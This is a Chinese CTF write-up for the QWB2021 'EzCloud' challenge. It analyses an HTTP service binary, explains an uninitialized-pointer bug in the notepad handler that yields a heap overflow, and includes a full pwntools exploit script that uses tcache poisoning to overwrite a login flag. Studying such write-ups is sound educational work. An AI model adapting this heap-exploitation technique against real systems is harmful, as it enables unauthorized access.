Mid Station

[QWB2021 Quals] - EzCloud

第五届强网杯的虚拟化系列题目,EzCloud 15解295分,比赛期间花了不少时间调试EzCloud的堆风水。

这题实现了一个HTTP服务,题目意图应该是模拟类似VMware vSphere的Web管理界面(虽然非常简陋)。下面简单说明一下程序主要逻辑和解题目标。

Recon

程序实现了以下的路由函数,分析后发现只要完成登录然后通过GET请求访问/flag就能读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall post_handler(request *a1)
{
if ( a1->path.sz == 6LL && !memcmp(a1->path.buf, "/login", 6uLL) )
return do_login(a1);
if ( a1->path.sz == 7LL && !memcmp(a1->path.buf, "/logout", 7uLL) )
return do_logout(a1);
if ( a1->path.sz == 9LL && !memcmp(a1->path.buf, "/createvm", 9uLL) )
return do_createvm(a1);
if ( a1->path.sz == 10LL && !memcmp(a1->path.buf, "/connectvm", 0xAuLL) )
return do_connectvm(a1);
if ( a1->path.sz == 8LL && !memcmp(a1->path.buf, "/closevm", 8uLL) )
return do_closevm(a1);
if ( a1->path.sz == 8LL && !memcmp(a1->path.buf, "/notepad", 8uLL) )
return do_notepad(a1);
return html_404((__int64)a1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall get_handler(request *a1)
{
if ( a1->path.sz == 1LL && *(_BYTE *)a1->path.buf == asc_B47F[0]
|| a1->path.sz == 6LL && !memcmp(a1->path.buf, "/index", 6uLL)
|| a1->path.sz == 10LL && !memcmp(a1->path.buf, "/index.php", 0xAuLL)
|| a1->path.sz == 11LL && !memcmp(a1->path.buf, "/index.html", 0xBuLL) )
{
return do_index(a1);
}
if ( a1->path.sz == 5LL && !memcmp(a1->path.buf, "/flag", 5uLL) )
return do_flag(a1);
if ( a1->path.sz == 8LL && !memcmp(a1->path.buf, "/notepad", 8uLL) )
return do_notepad(a1);
return html_404((__int64)a1);
}

登录过程会在堆上新建如下的cred结构体,用于保存后续操作相关变量。登录操作会比较请求中的Login-ID和从/dev/urandom读取的0x40 byte随机数是否相同,相同的话会把cred->is_login设置为1,后续读flag操作会判断is_login字段,只有等于1的情况才会返回flag。因此攻击目标是把堆上的cred->is_login改写掉

1
2
3
4
5
6
7
8
9
10
11
12
13
struct cred
{
__int32 is_login;
strbuf login_id;
__int64 login_time;
__int32 a1;
__int32 fd1;
__int64 fd;
__int32 fd2;
__int32 a4;
strbuf *notes[16];
cred *next;
};

程序中定义了一个重要的结构体,我们把它命名为strbuf

1
2
3
4
5
6
struct __attribute__((aligned(8))) strbuf
{
void *buf;
_QWORD chunk_sz;
_QWORD sz;
};

解析HTTP请求中的几乎所有字符串操作都和这个结构体有关。包括URL、fields、body的解析等,相关的操作有两个,在解析HTTP请求的过程中有大量使用,基本就是当成局部字符串变量在使用,有点类似自定义的一个strdup函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall make_strbuf(strbuf *dst, size_t sz, const void *src)
{
if ( src )
{
dst->chunk_sz = 8 * ((sz >> 3) + 1);
dst->sz = sz;
dst->buf = malloc(dst->chunk_sz);
memcpy(dst->buf, src, sz);
}
}

void *__fastcall free_strbuf(strbuf *a1)
{
void *result; // rax

if ( !a1->chunk_sz && (result = a1->buf) == 0LL )
return result;
free(a1->buf);
a1->buf = 0LL;
a1->chunk_sz = 0LL;
result = a1;
a1->sz = 0LL;
return result;
}

程序的漏洞在于/notepad的逻辑,里面实现了new, edit, delete三个操作。其中new部分存在内存未初始化漏洞。如果HTTP请求中的Content-Type不为application/x-www-form-urlencoded的,解析产生的req->body.buf==0,那么下面第13行的make_strbuf将不会起作用,导致12行mallocstrbuf未被初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  if ( cred->notes[n] )
{
a1a = (strbuf *)calloc(0x18uLL, 1uLL);
make_strbuf(a1a, 8uLL, "Invalid!");
v25 = html_msg((__int64)a1a);
free_strbuf(a1a);
free(a1a);
result = v25;
}
else
{
cred->notes[n] = (strbuf *)malloc(0x18uLL); // unintalize buf
make_strbuf(cred->notes[n], req->body.sz, req->body.buf);
LABEL_68:
v13 = (strbuf *)calloc(0x18uLL, 1uLL);
make_strbuf(v13, 0x17uLL, "Notepad operation done!");
v14 = html_msg((__int64)v13);
free_strbuf(v13);
free(v13);
result = v14;
}

未初始化的strbuf->buf会残留一个0x20 chunk的指针,strbuf->sz残留一个很大的值,结合edit操作就能构造一个堆溢出的漏洞。

1
2
3
4
5
6
7
8
9
10
if ( req->body.sz > cred->notes[idx]->sz )
{
free_strbuf(cred->notes[idx]);
make_strbuf(cred->notes[idx], req->body.chunk_sz, req->body.buf);
}
else
{
memcpy(cred->notes[idx]->buf, req->body.buf, req->body.sz);
cred->notes[idx]->sz = req->body.sz;
}

Exploit

漏洞利用的思路并不复杂,我的思路是通过解析HTTP请求中的make_strbuffree_strbuf形成堆喷射,让tcache中的chunk+0x18的位置残留我们可以控制的大数值。再edit的时候就能分配出能够堆溢出的note了。然后通过堆溢出构造tcache poison改写某个tcache bin的fd,最后分配出cred所在的内存再改写is_login字段。
难点在于解析HTTP请求过程太多make_strbuf调用了,每次到达notepad函数tcache bins都会发生变化,尝试很久才确定了通过HTTP fields来构造堆喷的方法,而堆溢出的时候也要考虑到覆盖的chunk在free过程中不会报错。

第一天晚上通过partial overwritechunk->fd搞出一个本地能有1/16成功的exp。然而打远程的时候发现远程堆布局和本地不同。调试发现是exp发送HTTP请求的时候用了payload.ljust(0x1000, "\x00"),发送过程可能和本地存在差异导致堆布局不同。第二天去掉padding的部分,调试堆风水先泄露堆地址,再计算堆地址偏移完整改写tcache bin的FD。最终版本exp打本地和打远程的堆地址还是存在0x20的偏移差异,好在不影响最终效果。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# QWB{EzCloud is easy to be admin!!}
from pwn import *
import re

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': './libc-2.31.so'}

if len(sys.argv) == 1:
p = process('./EzCloud')
off = 0x17d0
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
off = 0x17b0

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def login(login_id):
payload = "POST /login HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "\r\n\r\n"
se(payload)
ru("</html>")

def logout(login_id):
payload = "POST /logout HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "\r\n\r\n"
se(payload)
ru("</html>")

def notepad_new_vuln(login_id, content, header=[]):
action = "new%20note"
payload = "POST /notepad HTTP/1.1\r\n"
payload += "Content-Length: 100\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "Note-Operation: {}\r\n".format(action)
if header:
for h in header:
payload += h
payload += "\r\n"
payload += content
se(payload)
time.sleep(0.1)
ru("</html>")

def notepad_new_vuln1(login_id, content):
action = "new%20note"
payload = "POST /notepad HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "Content-Length: 100\r\n"
payload += "Note-Operation: {}\r\n".format(action)
payload += "\r\n"
payload += content
se(payload)
ru("</html>")

def notepad_new(login_id, content, header=[]):
action = "new%20note"
payload = "POST /notepad HTTP/1.1\r\n"
payload += "Content-Length: 65535\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "Note-Operation: {}\r\n".format(action)
if header:
for h in header:
payload += h
payload += "\r\n"
payload += content
se(payload)
ru("</html>")

def notepad_edit(login_id, nid, content):
action = "edit%20note"
payload = "POST /notepad HTTP/1.1\r\n"
payload += "Content-Length: 65535\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "Note-Operation: {}\r\n".format(action)
payload += "Note-ID: {}\r\n".format(nid)
payload += "\r\n"
payload += content
se(payload)
ru("</html>")

def notepad_delete(login_id, nid):
action = "delete%20note"
payload = "POST /notepad HTTP/1.1\r\n"
payload += "Content-Length: 100\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "Note-Operation: {}\r\n".format(action)
payload += "Note-ID: {}\r\n".format(nid)
payload += "\r\n"
se(payload)
ru("</html>")

def notepad_get(login_id):
payload = "GET /notepad HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "\r\n\r\n"
se(payload)
return ru("</html>")

def getflag(login_id):
payload = "GET /flag HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
payload += "\r\n\r\n"
se(payload)

def waste(login_id):
payload = "GET /foo HTTP/1.1\r\n"
payload += "Login-ID: {}\r\n".format(login_id)
for i in range(0x5):
payload += "A"*0x17 + ": " + "B"*0x17 + "\r\n"
payload += "\r\n"
se(payload)
time.sleep(0.1)
ru("</html>")

def urlencode(s):
ret = ""
for c in s:
ret += "%{:02x}".format(ord(c))
return ret

login("a")
notepad_new("a", "A"*0x17)
notepad_new_vuln("a", "A"*0x17)
notepad_new_vuln("a", "A"*0x17)
content = notepad_get('a')
leak = re.findall("<p>.*</p>", content)
leak = uu64(leak[1][3:11])
info_addr("leak", leak)
heap = leak-off
info_addr("heap", heap)
waste('a')
notepad_new_vuln("a", "A"*0x17)

padding = (p64(0) * 3 + p64(0xf1) + p64(0))
notepad_edit('a', 3, urlencode(padding))
padding = (p64(0) * 3 + p64(0xf1) + p64(heap+0x4b0))
notepad_edit('a', 3, urlencode(padding))
fake = cyclic(0x10) +p64(0) + p64(0xd1) + p64(0x1) + p64(heap+0x5a0) + p64(8) + p64(1)
fake = fake.ljust(0xe7, "\x00")
notepad_new("a", urlencode(fake), ["A"*0xe7 + ": " + "b\r\n"])
getflag('a')

p.interactive()

系列题目的第二问EzQtest放在下一篇,不然篇幅太长了。